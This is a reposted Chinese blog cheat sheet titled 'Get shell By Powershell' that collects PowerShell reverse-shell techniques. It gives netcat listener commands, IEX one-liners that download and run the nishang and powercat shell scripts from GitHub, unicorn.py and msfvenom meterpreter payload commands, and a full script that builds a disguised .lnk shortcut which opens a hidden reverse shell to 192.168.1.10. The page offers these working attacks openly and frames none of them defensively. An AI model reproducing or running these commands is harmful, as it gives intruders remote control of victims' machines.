當前位置：
首頁 >
Get shell By Powershell
發(fā)布時間：2025/3/15
31
豆豆
生活随笔
收集整理的這篇文章主要介紹了
Get shell By Powershell
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
Invoke-PowerShellTcp.ps1
監(jiān)聽主機：nc -nv -l -p 9999
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 監(jiān)聽主機ip -Port 9999"?
?
?
powercat.ps1
監(jiān)聽主機：nc -nv -l -p 9999
powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 監(jiān)聽主機ip -p 9999 -e cmd.exe"?
?
?
unicorn.py
Eg：python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443
?
msf生成powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxx -f psh-reflection> shell.ps1?
生成快捷方式shell的Powershell腳本
$WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("c:\lnk_tests\payload.lnk") $Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" $Shortcut.Arguments = '-windowstyle hidden /c $client = New-Object System.Net.Sockets.TCPClient("""192.168.1.10""",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + """PS """ + (pwd).Path + """> """;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $Shortcut.Save()?
?
總結(jié)
以上是生活随笔為你收集整理的Get shell By Powershell的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： cdn服务器
- 下一篇： 在SSH里用$.ajax()函数为何失败